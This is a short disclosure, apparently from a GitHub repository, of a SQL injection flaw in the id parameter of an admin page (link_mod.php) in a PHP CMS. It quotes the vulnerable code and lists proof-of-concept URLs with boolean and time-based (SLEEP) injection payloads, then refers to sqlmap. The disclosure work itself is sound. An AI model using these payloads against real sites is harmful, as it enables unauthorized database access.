jsjbcyber Update bug_k History

1 contributor

32 lines (28 sloc) | 1.16 KB

```
Build environment with PHP5.
--------------------------------
affected source code file: /admin/link/link_mod.php
--------------------------------
affected source code:

    .....
    <?php
        session_start();
        require '../session.php';
        include '../../inc/const.php';
        include ("../../inc/editor/fckeditor.php");
        $id= getvar('id');
        $sqlstr=get_sql("select * from {pre}link where id=".$id);
        $list=$db->getonerow($sqlstr);
    ?>
    .....


--------------------------------
affected reason:
      We can see the $id parameter has not been safely processed. So, the SQL injection can be ach
--------------------------------
affected executable:
  After Signing in to the background in advance. Then:
  Like this:
            http://xx.xx.com/admin/link/link_mod.php?id=1'

            http://xx.xx.com/admin/link/link_mod.php?id=1 and 1=1
            http://xx.xx.com/admin/link/link_mod.php?id=1 and 1=2
```

```
30              http://xx.xx.com/admin/link/link_mod.php?id=1 RLIKE SLEEP(2)
31
32  Then, we can use tools like sqlmap for more information.
```